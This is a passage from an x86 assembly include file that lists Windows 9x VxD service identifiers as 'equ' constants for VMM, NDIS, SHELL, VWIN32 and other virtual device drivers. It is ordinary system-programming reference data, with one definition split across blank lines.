VMM_RegQueryValueEx equ 000010151h
VMM_RegSetValueEx equ 000010152h
VMM_CallRing3 equ 000010153h
VMM_Exec_PM_Int equ 000010154h
VMM_RegFlushKey equ 000010155h
VMM_PageCommitContig equ 000010156h
VMM_GetCurrentContext equ 000010157h
VMM_LocalizeSprintf equ 000010158h
VMM_LocalizeStackSprintf equ 000010159h
VMM_Call_Restricted_Event equ 00001015Ah
VMM_Cancel_Restricted_Event equ 00001015Bh
VMM_Register_PEF_Provider equ 00001015Ch
VMM_GetPhysPageInfo equ 00001015Dh
VMM_RegQueryInfoKey equ 00001015Eh
VMM_MemArb_Reserve_Pages equ 00001015Fh
VMM_Time_Slice_Sys_VM_Idle equ 000010160h
VMM_Time_Slice_Sleep equ 000010161h
VMM_Boost_With_Decay equ 000010162h
VMM_Set_Inversion_Pri equ 000010163h
VMM_Reset_Inversion_Pri equ 000010164h
VMM_Release_Inversion_Pri equ 000010165h
VMM_Get_Thread_Win32_Pri equ 000010166h
VMM_Set_Thread_Win32_Pri equ 000010167h
VMM_Set_Thread_Static_Boost equ 000010168h
VMM_Set_VM_Static_Boost equ 000010169h
VMM_Release_Inversion_Pri_ID equ 00001016Ah
VMM_Attach_Thread_To_Group equ 00001016Bh
VMM_Detach_Thread_From_Group equ 00001016Ch
VMM_Set_Group_Static_Boost equ 00001016Dh
VMM_GetRegistryPath equ 00001016Eh
VMM_GetRegistryKey equ 00001016Fh
VMM_Cleanup_Thread_State equ 000010170h
VMM_RegRemapPreDefKey equ 000010171h
VMM_End_V86_Serialization equ 000010172h
VMM_Assert_Range equ 000010173h
VMM_Sprintf equ 000010174h
VMM_PageChangePager equ 000010175h
VMM_RegCreateDynKey equ 000010176h
VMM_RegQMulti equ 000010177h
VMM_Boost_Thread_With_VM equ 000010178h
VMM_Get_Boot_Flags equ 000010179h
VMM_Set_Boot_Flags equ 00001017Ah
VMM_lstrcpyn equ 00001017Bh
VMM_lstrlen equ 00001017Ch
VMM_lmemcpy equ 00001017Dh
VMM_GetVxDName equ 00001017Eh
VMM_Force_Mutexes_Free equ 00001017Fh
VMM_Restore_Forced_Mutexes equ 000010180h
VMM_AddReclaimableItem equ 000010181h
VMM_SetReclaimableItem equ 000010182h
VMM_EnumReclaimableItem equ 000010183h
VMM_Time_Slice_Wake_Sys_VM equ 000010184h
VMM_VMM_Replace_Global_Environment equ 000010185h
VMM_Begin_Non_Serial_Nest_V86_Exec equ 000010186h
VMM_Get_Nest_Exec_Status equ 000010187h
VMM_Open_Boot_Log equ 000010188h
VMM_Write_Boot_Log equ 000010189h
VMM_Close_Boot_Log equ 00001018Ah
VMM_EnableDisable_Boot_Log equ 00001018Bh
VMM_Call_On_My_Stack equ 00001018Ch
VMM_Get_Inst_V86_Int_Vec_Base equ 00001018Dh
VMM_lstrcmpi equ 00001018Eh
VMM_strupr equ 00001018Fh
VMM_Log_Fault_Call_Out equ 000010190h
VMM_AtEventTime equ 000010191h
VMM_PageOutPages equ 000010192h
VMM_Call_On_My_Not_Flat_Stack equ 000010193h
VMM_LinRegionLock equ 000010194h
VMM_LinRegionUnLock equ 000010195h
VMM_AttemptingSomethingDangerous equ 000010196h
VMM_Vsprintf equ 000010197h
VMM_Vsprintfw equ 000010198h
VMM_Load_FS_Service equ 000010199h
VMM_Assert_FS_Service equ 00001019Ah
VMM_ObsoleteRtlUnwind equ 00001019Bh
VMM_ObsoleteRtlRaiseException equ 00001019Ch
VMM_ObsoleteRtlRaiseStatus equ 00001019Dh
VMM_ObsoleteKeGetCurrentIrql equ 00001019Eh
VMM_ObsoleteKfRaiseIrql equ 00001019Fh
VMM_ObsoleteKfLowerIrql equ 0000101A0h
VMM_Begin_Preemptable_Code equ 0000101A1h
VMM_End_Preemptable_Code equ 0000101A2h
VMM_Set_Preemptable_Count equ 0000101A3h
VMM_ObsoleteKeInitializeDpc equ 0000101A4h
VMM_ObsoleteKeInsertQueueDpc equ 0000101A5h
VMM_ObsoleteKeRemoveQueueDpc equ 0000101A6h
VMM_HeapAllocateEx equ 0000101A7h
VMM_HeapReAllocateEx equ 0000101A8h
VMM_HeapGetSizeEx equ 0000101A9h
VMM_HeapFreeEx equ 0000101AAh
VMM_Get_CPUID_Flags equ 0000101ABh
VMM_KeCheckDivideByZeroTrap equ 0000101ACh
VMM_RegisterGARTHandler equ 0000101ADh
VMM_GARTReserve equ 0000101AEh
VMM_GARTCommit equ 0000101AFh
VMM_GARTUnCommit equ 0000101B0h
VMM_GARTFree equ 0000101B1h
VMM_GARTMemAttributes equ 0000101B2h
VMM_KfRaiseIrqlToDpcLevel equ 0000101B3h
VMM_VMMCreateThreadEx equ 0000101B4h
VMM_FlushCaches equ 0000101B5h
VMM_Set_Thread_Win32_Pri_NoYield equ 0000101B6h
VMM_FlushMappedCacheBlock equ 0000101B7h
VMM_ReleaseMappedCacheBlock equ 0000101B8h
VMM_Run_Preemptable_Events equ 0000101B9h
VMM_MMPreSystemExit equ 0000101BAh
VMM_MMPageFileShutDown equ 0000101BBh
VMM_Set_Global_Time_Out_Ex equ 0000101BCh

; [0002.DEBUG]
DEBUG_Get_Version equ 000020000h
DEBUG_Fault equ 000020001h
DEBUG_CheckFault equ 000020002h
DEBUG_LoadSyms equ 000020003h

; [0003.VPICD]
VPICD_Get_Version equ 000030000h
VPICD_Virtualize_IRQ equ 000030001h
VPICD_Set_Int_Request equ 000030002h
VPICD_Clear_Int_Request equ 000030003h
VPICD_Phys_EOI equ 000030004h
VPICD_Get_Complete_Status equ 000030005h
VPICD_Get_Status equ 000030006h
VPICD_Test_Phys_Request equ 000030007h
VPICD_Physically_Mask equ 000030008h
VPICD_Physically_Unmask equ 000030009h
VPICD_Set_Auto_Masking equ 00003000Ah
VPICD_Get_IRQ_Complete_Status equ 00003000Bh
VPICD_Convert_Handle_To_IRQ equ 00003000Ch
VPICD_Convert_IRQ_To_Int equ 00003000Dh
VPICD_Convert_Int_To_IRQ equ 00003000Eh
VPICD_Call_When_Hw_Int equ 00003000Fh
VPICD_Force_Default_Owner equ 000030010h
VPICD_Force_Default_Behavior equ 000030011h
VPICD_Auto_Mask_At_Inst_Swap equ 000030012h
VPICD_Begin_Inst_Page_Swap equ 000030013h
VPICD_End_Inst_Page_Swap equ 000030014h
VPICD_Virtual_EOI equ 000030015h
VPICD_Get_Virtualization_Count equ 000030016h
VPICD_Post_Sys_Critical_Init equ 000030017h
VPICD_VM_SlavePIC_Mask_Change equ 000030018h
VPICD_Clear_IR_Bits equ 000030019h
VPICD_Get_Level_Mask equ 00003001Ah
VPICD_Set_Level_Mask equ 00003001Bh
VPICD_Set_Irql_Mask equ 00003001Ch
VPICD_Set_Channel_Irql equ 00003001Dh
VPICD_Prepare_For_Shutdown equ 00003001Eh

; [0004.VDMAD]
VDMAD_Get_Version equ 000040000h
VDMAD_Virtualize_Channel equ 000040001h
VDMAD_Get_Region_Info equ 000040002h
VDMAD_Set_Region_Info equ 000040003h
VDMAD_Get_Virt_State equ 000040004h
VDMAD_Set_Virt_State equ 000040005h
VDMAD_Set_Phys_State equ 000040006h
VDMAD_Mask_Channel equ 000040007h
VDMAD_UnMask_Channel equ 000040008h
VDMAD_Lock_DMA_Region equ 000040009h
VDMAD_Unlock_DMA_Region equ 00004000Ah
VDMAD_Scatter_Lock equ 00004000Bh
VDMAD_Scatter_Unlock equ 00004000Ch
VDMAD_Reserve_Buffer_Space equ 00004000Dh
VDMAD_Request_Buffer equ 00004000Eh
VDMAD_Release_Buffer equ 00004000Fh
VDMAD_Copy_To_Buffer equ 000040010h
VDMAD_Copy_From_Buffer equ 000040011h
VDMAD_Default_Handler equ 000040012h
VDMAD_Disable_Translation equ 000040013h
VDMAD_Enable_Translation equ 000040014h
VDMAD_Get_EISA_Adr_Mode equ 000040015h
VDMAD_Set_EISA_Adr_Mode equ 000040016h
VDMAD_Unlock_DMA_Region_No_Dirty equ 000040017h
VDMAD_Phys_Mask_Channel equ 000040018h
VDMAD_Phys_Unmask_Channel equ 000040019h
VDMAD_Unvirtualize_Channel equ 00004001Ah
VDMAD_Set_IO_Address equ 00004001Bh
VDMAD_Get_Phys_Count equ 00004001Ch
VDMAD_Get_Phys_Status equ 00004001Dh
VDMAD_Get_Max_Phys_Page equ 00004001Eh
VDMAD_Set_Channel_Callbacks equ 00004001Fh
VDMAD_Get_Virt_Count equ 000040020h
VDMAD_Set_Virt_Count equ 000040021h

; [0005.VTD]
VTD_Get_Version equ 000050000h
VTD_Update_System_Clock equ 000050001h
VTD_Get_Interrupt_Period equ 000050002h
VTD_Begin_Min_Int_Period equ 000050003h
VTD_End_Min_Int_Period equ 000050004h
VTD_Disable_Trapping equ 000050005h
VTD_Enable_Trapping equ 000050006h
VTD_Get_Real_Time equ 000050007h
VTD_Get_Date_And_Time equ 000050008h
VTD_Adjust_VM_Count equ 000050009h
VTD_Delay equ 00005000Ah
VTD_GetTimeZoneBias equ 00005000Bh
VTD_ObsoleteKeQueryPerformanceCounter equ 00005000Ch
VTD_ObsoleteKeQuerySystemTime equ 00005000Dh
VTD_Install_IO_Handle equ 00005000Eh
VTD_Remove_IO_Handle equ 00005000Fh
VTD_Delay_Ex equ 000050010h
VTD_Init_Timer equ 000050011h

; [0006.V86MMGR]
V86MMGR_Get_Version equ 000060000h
V86MMGR_Allocate_V86_Pages equ 000060001h
V86MMGR_Set_EMS_XMS_Limits equ 000060002h
V86MMGR_Get_EMS_XMS_Limits equ 000060003h
V86MMGR_Set_Mapping_Info equ 000060004h
V86MMGR_Get_Mapping_Info equ 000060005h
V86MMGR_Xlat_API equ 000060006h
V86MMGR_Load_Client_Ptr equ 000060007h
V86MMGR_Allocate_Buffer equ 000060008h
V86MMGR_Free_Buffer equ 000060009h
V86MMGR_Get_Xlat_Buff_State equ 00006000Ah
V86MMGR_Set_Xlat_Buff_State equ 00006000Bh
V86MMGR_Get_VM_Flat_Sel equ 00006000Ch
V86MMGR_Map_Pages equ 00006000Dh
V86MMGR_Free_Page_Map_Region equ 00006000Eh
V86MMGR_LocalGlobalReg equ 00006000Fh
V86MMGR_GetPgStatus equ 000060010h
V86MMGR_SetLocalA20 equ 000060011h
V86MMGR_ResetBasePages equ 000060012h
V86MMGR_SetAvailMapPgs equ 000060013h
V86MMGR_NoUMBInitCalls equ 000060014h
V86MMGR_Get_EMS_XMS_Avail equ 000060015h
V86MMGR_Toggle_HMA equ 000060016h
V86MMGR_Dev_Init equ 000060017h
V86MMGR_Alloc_UM_Page equ 000060018h

; [0007.PAGESWAP]
PAGESWAP_Get_Version equ 000070000h
PAGESWAP_0001 equ 000070001h
PAGESWAP_0002 equ 000070002h
PAGESWAP_0003 equ 000070003h
PAGESWAP_0004 equ 000070004h
PAGESWAP_0005 equ 000070005h
PAGESWAP_Test_IO_Valid equ 000070006h
PAGESWAP_Read_Or_Write equ 000070007h
PAGESWAP_Grow_File equ 000070008h
PAGESWAP_Init_File equ 000070009h

; [0009.REBOOT]

; [000A.VDD]
VDD_Get_Version equ 0000A0000h
VDD_PIF_State equ 0000A0001h
VDD_Get_GrabRtn equ 0000A0002h
VDD_Hide_Cursor equ 0000A0003h
VDD_Set_VMType equ 0000A0004h
VDD_Get_ModTime equ 0000A0005h
VDD_Set_HCurTrk equ 0000A0006h
VDD_Msg_ClrScrn equ 0000A0007h
VDD_Msg_ForColor equ 0000A0008h
VDD_Msg_BakColor equ 0000A0009h
VDD_Msg_TextOut equ 0000A000Ah
VDD_Msg_SetCursPos equ 0000A000Bh
VDD_Query_Access equ 0000A000Ch
VDD_Check_Update_Soon equ 0000A000Dh
VDD_Get_Mini_Dispatch_Table equ 0000A000Eh
VDD_Register_Virtual_Port equ 0000A000Fh
VDD_Get_VM_Info equ 0000A0010h
VDD_Get_Special_VM_IDs equ 0000A0011h
VDD_Register_Extra_Screen_Selector equ 0000A0012h
VDD_Takeover_VGA_Port equ 0000A0013h
VDD_Get_DISPLAYINFO equ 0000A0014h
VDD_Do_Physical_IO equ 0000A0015h
VDD_Set_Sleep_Flag_Addr equ 0000A0016h
VDD_EnableDevice equ 0000A0017h

; [000B.VSD]
VSD_Get_Version equ 0000B0000h
VSD_Bell equ 0000B0001h
VSD_SoundOn equ 0000B0002h
VSD_TakeSoundPort equ 0000B0003h

; [000C.VMD]
VMD_Get_Version equ 0000C0000h
VMD_Set_Mouse_Type equ 0000C0001h
VMD_Get_Mouse_Owner equ 0000C0002h
VMD_Post_Pointer_Message equ 0000C0003h
VMD_Set_Cursor_Proc equ 0000C0004h
VMD_Call_Cursor_Proc equ 0000C0005h
VMD_Set_Mouse_Data equ 0000C0006h
VMD_Get_Mouse_Data equ 0000C0007h
VMD_Manipulate_Pointer_Message equ 0000C0008h
VMD_Set_Middle_Button equ 0000C0009h
VMD_Enable_Disable_Mouse_Events equ 0000C000Ah
VMD_Post_Absolute_Pointer_Message equ 0000C000Bh

; [000D.VKD]
VKD_Get_Version equ 0000D0000h
VKD_Define_Hot_Key equ 0000D0001h
VKD_Remove_Hot_Key equ 0000D0002h
VKD_Local_Enable_Hot_Key equ 0000D0003h
VKD_Local_Disable_Hot_Key equ 0000D0004h
VKD_Reflect_Hot_Key equ 0000D0005h
VKD_Cancel_Hot_Key_State equ 0000D0006h
VKD_Force_Keys equ 0000D0007h
VKD_Get_Kbd_Owner equ 0000D0008h
VKD_Define_Paste_Mode equ 0000D0009h
VKD_Start_Paste equ 0000D000Ah
VKD_Cancel_Paste equ 0000D000Bh
VKD_Get_Msg_Key equ 0000D000Ch
VKD_Peek_Msg_Key equ 0000D000Dh
VKD_Flush_Msg_Key_Queue equ 0000D000Eh
VKD_Enable_Keyboard equ 0000D000Fh
VKD_Disable_KeyBoard equ 0000D0010h
VKD_Get_Shift_State equ 0000D0011h
VKD_Filter_Keyboard_Input equ 0000D0012h
VKD_Put_Byte equ 0000D0013h
VKD_Set_Shift_State equ 0000D0014h
VKD_Send_Data equ 0000D0015h
VKD_Set_LEDs equ 0000D0016h
VKD_Set_Key_Rate equ 0000D0017h
VKD_Get_Key_Rate equ 0000D0018h

; [000E.VCD]
VCD_Get_Version equ 0000E0000h
VCD_Set_Port_Global equ 0000E0001h
VCD_Get_Focus equ 0000E0002h
VCD_Virtualize_Port equ 0000E0003h
VCD_Acquire_Port equ 0000E0004h
VCD_Free_Port equ 0000E0005h
VCD_Acquire_Port_Windows_Style equ 0000E0006h
VCD_Free_Port_Windows_Style equ 0000E0007h
VCD_Steal_Port_Windows_Style equ 0000E0008h
VCD_Find_COM_Index equ 0000E0009h
VCD_Set_Port_Global_Special equ 0000E000Ah
VCD_Virtualize_Port_Dynamic equ 0000E000Bh
VCD_Unvirtualize_Port_Dynamic equ 0000E000Ch

; [000F.VPD]
VPD_Get_Version equ 0000F0000h
VPD_Acquire equ 0000F0001h
VPD_Release equ 0000F0002h
VPD_Jumbo_Acquire equ 0000F0003h
VPD_Jumbo_Release equ 0000F0004h

; [0010.IOS]
IOS_Get_Version equ 000100000h
IOS_BD_Register_Device equ 000100001h
IOS_Find_Int13_Drive equ 000100002h
IOS_Get_Device_List equ 000100003h
IOS_SendCommand equ 000100004h
IOS_BD_Command_Complete equ 000100005h
IOS_Synchronous_Command equ 000100006h
IOS_Register equ 000100007h
IOS_Requestor_Service equ 000100008h
IOS_Exclusive_Access equ 000100009h
IOS_Send_Next_Command equ 00010000Ah
IOS_Set_Async_Time_Out equ 00010000Bh
IOS_Signal_Semaphore_No_Switch equ 00010000Ch
IOS_IdleStatus equ 00010000Dh
IOS_MapIORSToI24 equ 00010000Eh
IOS_MapIORSToI21 equ 00010000Fh
IOS_PrintLog equ 000100010h

; [0011.VMCPD]
VMCPD_Get_Version equ 000110000h
VMCPD_Get_Virt_State equ 000110001h
VMCPD_Set_Virt_State equ 000110002h
VMCPD_Get_CR0_State equ 000110003h
VMCPD_Set_CR0_State equ 000110004h
VMCPD_Get_Thread_State equ 000110005h
VMCPD_Set_Thread_State equ 000110006h
VMCPD_Get_FP_Instruction_Size equ 000110007h
VMCPD_Set_Thread_Precision equ 000110008h

; [0012.EBIOS]
EBIOS_Get_Version equ 000120000h
EBIOS_Get_Unused_Mem equ 000120001h

; [0014.VNETBIOS]
VNETBIOS_Get_Version equ 000140000h
VNETBIOS_Register equ 000140001h
VNETBIOS_Submit equ 000140002h
VNETBIOS_Enum equ 000140003h
VNETBIOS_Deregister equ 000140004h
VNETBIOS_Register2 equ 000140005h
VNETBIOS_Map equ 000140006h
VNETBIOS_Enum2 equ 000140007h

; [0015.DOSMGR]
DOSMGR_Get_Version equ 000150000h
DOSMGR_Set_Exec_VM_Data equ 000150001h
DOSMGR_Copy_VM_Drive_State equ 000150002h
DOSMGR_Exec_VM equ 000150003h
DOSMGR_Get_IndosPtr equ 000150004h
DOSMGR_Add_Device equ 000150005h
DOSMGR_Remove_Device equ 000150006h
DOSMGR_Instance_Device equ 000150007h
DOSMGR_Get_DOS_Crit_Status equ 000150008h
DOSMGR_Enable_Indos_Polling equ 000150009h
DOSMGR_BackFill_Allowed equ 00015000Ah
DOSMGR_LocalGlobalReg equ 00015000Bh
DOSMGR_Init_UMB_Area equ 00015000Ch
DOSMGR_Begin_V86_App equ 00015000Dh
DOSMGR_End_V86_App equ 00015000Eh
DOSMGR_Alloc_Local_Sys_VM_Mem equ 00015000Fh
DOSMGR_Grow_CDSs equ 000150010h
DOSMGR_Translate_Server_DOS_Call equ 000150011h
DOSMGR_MMGR_PSP_Change_Notifier equ 000150012h

; [0017.SHELL]
SHELL_Get_Version equ 000170000h
SHELL_Resolve_Contention

  
equ 000170001h
SHELL_Event equ 000170002h
SHELL_SYSMODAL_Message equ 000170003h
SHELL_Message equ 000170004h
SHELL_GetVMInfo equ 000170005h
SHELL_PostMessage equ 000170006h
SHELL_ShellExecute equ 000170007h
SHELL_PostShellMessage equ 000170008h
SHELL_DispatchRing0AppyEvents equ 000170009h
SHELL_Hook_Properties equ 00017000Ah
SHELL_Unhook_Properties equ 00017000Bh
SHELL_Update_User_Activity equ 00017000Ch
SHELL_QueryAppyTimeAvailable equ 00017000Dh
SHELL_CallAtAppyTime equ 00017000Eh
SHELL_CancelAppyTimeEvent equ 00017000Fh
SHELL_BroadcastSystemMessage equ 000170010h
SHELL_HookSystemBroadcast equ 000170011h
SHELL_UnhookSystemBroadcast equ 000170012h
SHELL_LocalAllocEx equ 000170013h
SHELL_LocalFree equ 000170014h
SHELL_LoadLibrary equ 000170015h
SHELL_FreeLibrary equ 000170016h
SHELL_GetProcAddress equ 000170017h
SHELL_CallDll equ 000170018h
SHELL_SuggestSingleMSDOSMode equ 000170019h
SHELL_CheckHotkeyAllowed equ 00017001Ah
SHELL_GetDOSAppInfo equ 00017001Bh
SHELL_Update_User_Activity_Ex equ 00017001Ch

; [0018.VMPOOL]
VMPOOL_Get_Version equ 000180000h
VMPOOL_Enable_Disable equ 000180001h
VMPOOL_Reset_Detection equ 000180002h
VMPOOL_Check_Idle equ 000180003h

; [001A.DOSNET]
DOSNET_Get_Version equ 0001A0000h
DOSNET_Send_FILESYSCHANGE equ 0001A0001h
DOSNET_Do_PSP_Adjust equ 0001A0002h

; [0020.INT13]
INT13_Get_Version equ 000200000h
INT13_Device_Registered equ 000200001h
INT13_Translate_VM_Int equ 000200002h
INT13_Hooking_BIOS_Int equ 000200003h
INT13_Unhooking_BIOS_Int equ 000200004h

; [0021.PAGEFILE]
PAGEFILE_Get_Version equ 000210000h
PAGEFILE_Init_File equ 000210001h
PAGEFILE_Clean_Up equ 000210002h
PAGEFILE_Grow_File equ 000210003h
PAGEFILE_Read_Or_Write equ 000210004h
PAGEFILE_Cancel equ 000210005h
PAGEFILE_Test_IO_Valid equ 000210006h
PAGEFILE_Get_Size_Info equ 000210007h
PAGEFILE_Set_Async_Manager equ 000210008h
PAGEFILE_Call_Async_Manager equ 000210009h

; [0026.VPOWERD]
VPOWERD_Get_Version equ 000260000h
VPOWERD_Get_APM_BIOS_Version equ 000260001h
VPOWERD_Get_Power_Management_Level equ 000260002h
VPOWERD_Set_Power_Management_Level equ 000260003h
VPOWERD_Set_Device_Power_State equ 000260004h
VPOWERD_Set_System_Power_State equ 000260005h
VPOWERD_Restore_Power_On_Defaults equ 000260006h
VPOWERD_Get_Power_Status equ 000260007h
VPOWERD_Get_Power_State equ 000260008h
VPOWERD_OEM_APM_Function equ 000260009h
VPOWERD_Register_Power_Handler equ 00026000Ah
VPOWERD_Deregister_Power_Handler equ 00026000Bh
VPOWERD_W32_Get_System_Power_Status equ 00026000Ch
VPOWERD_W32_Set_System_Power_State equ 00026000Dh
VPOWERD_Get_Capabilities equ 00026000Eh
VPOWERD_Enable_Resume_On_Ring equ 00026000Fh
VPOWERD_Disable_Resume_On_Ring equ 000260010h
VPOWERD_Set_Resume_Timer equ 000260011h
VPOWERD_Get_Resume_Timer equ 000260012h
VPOWERD_Disable_Resume_Timer equ 000260013h
VPOWERD_Enable_Timer_Based_Requests equ 000260014h
VPOWERD_Disable_Timer_Based_Requests equ 000260015h
VPOWERD_W32_Get_Power_Status equ 000260016h
VPOWERD_Get_Timer_Based_Requests_Status equ 000260017h
VPOWERD_Get_Ring_Resume_Status equ 000260018h
VPOWERD_Transfer_Control equ 000260019h

; [0027.VXDLDR]
VXDLDR_GetVersion equ 000270000h
VXDLDR_LoadDevice equ 000270001h
VXDLDR_UnloadDevice equ 000270002h
VXDLDR_DevInitSucceeded equ 000270003h
VXDLDR_DevInitFailed equ 000270004h
VXDLDR_GetDeviceList equ 000270005h
VXDLDR_UnloadMe equ 000270006h
VXDLDR_PELDR_LoadModule equ 000270007h
VXDLDR_PELDR_GetModuleHandle equ 000270008h
VXDLDR_PELDR_GetModuleUsage equ 000270009h
VXDLDR_PELDR_GetEntryPoint equ 00027000Ah
VXDLDR_PELDR_GetProcAddress equ 00027000Bh
VXDLDR_PELDR_AddExportTable equ 00027000Ch
VXDLDR_PELDR_RemoveExportTable equ 00027000Dh
VXDLDR_PELDR_FreeModule equ 00027000Eh
VXDLDR_Notify equ 00027000Fh
VXDLDR_PELDR_InitCompleted equ 000270010h
VXDLDR_PELDR_LoadModuleEx equ 000270011h
VXDLDR_PELDR_LoadModule2 equ 000270012h

; [0028.NDIS]
NDIS_GetVersion equ 000280000h
NDIS_AllocateSpinLock equ 000280001h
NDIS_FreeSpinLock equ 000280002h
NDIS_AcquireSpinLock equ 000280003h
NDIS_ReleaseSpinLock equ 000280004h
NDIS_OpenConfiguration equ 000280005h
NDIS_ReadConfiguration equ 000280006h
NDIS_CloseConfiguration equ 000280007h
NDIS_ReadEisaSlotInformation equ 000280008h
NDIS_ReadMcaPosInformation equ 000280009h
NDIS_AllocateMemory equ 00028000Ah
NDIS_FreeMemory equ 00028000Bh
NDIS_SetTimer equ 00028000Ch
NDIS_CancelTimer equ 00028000Dh
NDIS_StallExecution equ 00028000Eh
NDIS_InitializeInterrupt equ 00028000Fh
NDIS_RemoveInterrupt equ 000280010h
NDIS_SynchronizeWithInterrupt equ 000280011h
NDIS_OpenFile equ 000280012h
NDIS_MapFile equ 000280013h
NDIS_UnmapFile equ 000280014h
NDIS_CloseFile equ 000280015h
NDIS_AllocatePacketPool equ 000280016h
NDIS_FreePacketPool equ 000280017h
NDIS_AllocatePacket equ 000280018h
NDIS_ReinitializePacket equ 000280019h
NDIS_FreePacket equ 00028001Ah
NDIS_QueryPacket equ 00028001Bh
NDIS_AllocateBufferPool equ 00028001Ch
NDIS_FreeBufferPool equ 00028001Dh
NDIS_AllocateBuffer equ 00028001Eh
NDIS_CopyBuffer equ 00028001Fh
NDIS_FreeBuffer equ 000280020h
NDIS_QueryBuffer equ 000280021h
NDIS_GetBufferPhysicalAddress equ 000280022h
NDIS_ChainBufferAtFront equ 000280023h
NDIS_ChainBufferAtBack equ 000280024h
NDIS_UnchainBufferAtFront equ 000280025h
NDIS_UnchainBufferAtBack equ 000280026h
NDIS_GetNextBuffer equ 000280027h
NDIS_CopyFromPacketToPacket equ 000280028h
NDIS_RegisterProtocol equ 000280029h
NDIS_DeregisterProtocol equ 00028002Ah
NDIS_OpenAdapter equ 00028002Bh
NDIS_CloseAdapter equ 00028002Ch
NDIS_Send equ 00028002Dh
NDIS_TransferData equ 00028002Eh
NDIS_Reset equ 00028002Fh
NDIS_Request equ 000280030h
NDIS_InitializeWrapper equ 000280031h
NDIS_TerminateWrapper equ 000280032h
NDIS_RegisterMac equ 000280033h
NDIS_DeregisterMac equ 000280034h
NDIS_RegisterAdapter equ 000280035h
NDIS_DeregisterAdapter equ 000280036h
NDIS_CompleteOpenAdapter equ 000280037h
NDIS_CompleteCloseAdapter equ 000280038h
NDIS_CompleteSend equ 000280039h
NDIS_CompleteTransferData equ 00028003Ah
NDIS_CompleteReset equ 00028003Bh
NDIS_CompleteRequest equ 00028003Ch
NDIS_IndicateReceive equ 00028003Dh
NDIS_IndicateReceiveComplete equ 00028003Eh
NDIS_IndicateStatus equ 00028003Fh
NDIS_IndicateStatusComplete equ 000280040h
NDIS_CompleteQueryStatistics equ 000280041h
NDIS_EqualString equ 000280042h
NDIS_RegAdaptShutdown equ 000280043h
NDIS_ReadNetworkAddress equ 000280044h
NDIS_WriteErrorLogEntry equ 000280045h
NDIS_MapIoSpace equ 000280046h
NDIS_DeregAdaptShutdown equ 000280047h
NDIS_AllocateSharedMemory equ 000280048h
NDIS_FreeSharedMemory equ 000280049h
NDIS_AllocateDmaChannel equ 00028004Ah
NDIS_SetupDmaTransfer equ 00028004Bh
NDIS_CompleteDmaTransfer equ 00028004Ch
NDIS_ReadDmaCounter equ 00028004Dh
NDIS_FreeDmaChannel equ 00028004Eh
NDIS_ReleaseAdapterResources equ 00028004Fh
NDIS_QueryGlobalStatistics equ 000280050h
NDIS_OpenProtocolConfiguration equ 000280051h
NDIS_CompleteBindAdapter equ 000280052h
NDIS_CompleteUnbindAdapter equ 000280053h
NDIS_WrapperStartNet equ 000280054h
NDIS_WrapperGetComponentList equ 000280055h
NDIS_WrapperQueryAdapterResources equ 000280056h
NDIS_WrapperDelayBinding equ 000280057h
NDIS_WrapperResumeBinding equ 000280058h
NDIS_WrapperRemoveChildren equ 000280059h
NDIS_ImmediateReadPciSlotInformation equ 00028005Ah
NDIS_ImmediateWritePciSlotInformation equ 00028005Bh
NDIS_ReadPciSlotInformation equ 00028005Ch
NDIS_WritePciSlotInformation equ 00028005Dh
NDIS_PciAssignResources equ 00028005Eh
NDIS_QueryBufferOffset equ 00028005Fh
NDIS_0060 equ 000280060h
NDIS_0061 equ 000280061h
NDIS_InitializeEvent equ 000280062h
NDIS_SetEvent equ 000280063h
NDIS_ResetEvent equ 000280064h
NDIS_WaitEvent equ 000280065h
NDIS_ReturnPackets equ 000280066h
NDIS_QueryReceiveInformation equ 000280067h
NDIS_CmRegisterAddressFamily equ 000280068h
NDIS_ClOpenAddressFamily equ 000280069h
NDIS_CmOpenAddressFamilyComplete equ 00028006Ah
NDIS_ClCloseAddressFamily equ 00028006Bh
NDIS_CmCloseAddressFamilyComplete equ 00028006Ch
NDIS_ClRegisterSap equ 00028006Dh
NDIS_CmRegisterSapComplete equ 00028006Eh
NDIS_ClDeregisterSap equ 00028006Fh
NDIS_CmDeregisterSapComplete equ 000280070h
NDIS_ClMakeCall equ 000280071h
NDIS_CmMakeCallComplete equ 000280072h
NDIS_CmDispatchIncomingCall equ 000280073h
NDIS_ClIncomingCallComplete equ 000280074h
NDIS_CmDispatchCallConnected equ 000280075h
NDIS_ClModifyCallQoS equ 000280076h
NDIS_CmModifyCallQoSComplete equ 000280077h
NDIS_CmDispatchIncomingCallQoSChange equ 000280078h
NDIS_ClCloseCall equ 000280079h
NDIS_CmCloseCallComplete equ 00028007Ah
NDIS_CmDispatchIncomingCloseCall equ 00028007Bh
NDIS_ClAddParty equ 00028007Ch
NDIS_CmAddPartyComplete equ 00028007Dh
NDIS_ClDropParty equ 00028007Eh
NDIS_CmDropPartyComplete equ 00028007Fh
NDIS_CmDispatchIncomingDropParty equ 000280080h
NDIS_CoCreateVc equ 000280081h
NDIS_CoDeleteVc equ 000280082h
NDIS_CmActivateVc equ 000280083h
NDIS_CmDeactivateVc equ 000280084h
NDIS_CoRequest equ 000280085h
NDIS_CoRequestComplete equ 000280086h
NDIS_CoSendPackets equ 000280087h
NDIS_InitAnsiString equ 000280088h
NDIS_InitUnicodeString equ 000280089h
NDIS_AnsiStringToUnicodeString equ 00028008Ah
NDIS_UnicodeStringToAnsiString equ 00028008Bh
NDIS_WriteConfiguration equ 00028008Ch
NDIS_OpenConfigurationKeyByName equ 00028008Dh
NDIS_OpenConfigurationKeyByIndex equ 00028008Eh
NDIS_ConvertStringToAtmAddress equ 00028008Fh
NDIS_AllocateMemoryWithTag equ 000280090h
NDIS_OpenGlobalConfiguration equ 000280091h
NDIS_InterlockedIncrement equ 000280092h
NDIS_InterlockedDecrement equ 000280093h
NDIS_InterlockedAddUlong equ 000280094h
NDIS_InterlockedInsertHeadList equ 000280095h
NDIS_InterlockedInsertTailList equ 000280096h
NDIS_InterlockedRemoveHeadList equ 000280097h
NDIS_InterlockedPopEntryList equ 000280098h
NDIS_InterlockedPushEntryList equ 000280099h
NDIS_WriteEventLogEntry equ 00028009Ah
NDIS_GetFirstBufferFromPacket equ 00028009Bh
NDIS_SendPackets equ 00028009Ch
NDIS_009D equ 00028009Dh
NDIS_GetSystemUpTime equ 00028009Eh
NDIS_ScheduleWorkItem equ 00028009Fh
NDIS_QueryAdapterInstanceName equ 0002800A0h

; [002A.VWIN32]
VWIN32_Get_Version equ 0002A0000h
VWIN32_DIOCCompletionRoutine equ 0002A0001h
VWIN32_QueueUserApc equ 0002A0002h
VWIN32_GetThreadContext equ 0002A0003h
VWIN32_SetThreadContext equ 0002A0004h
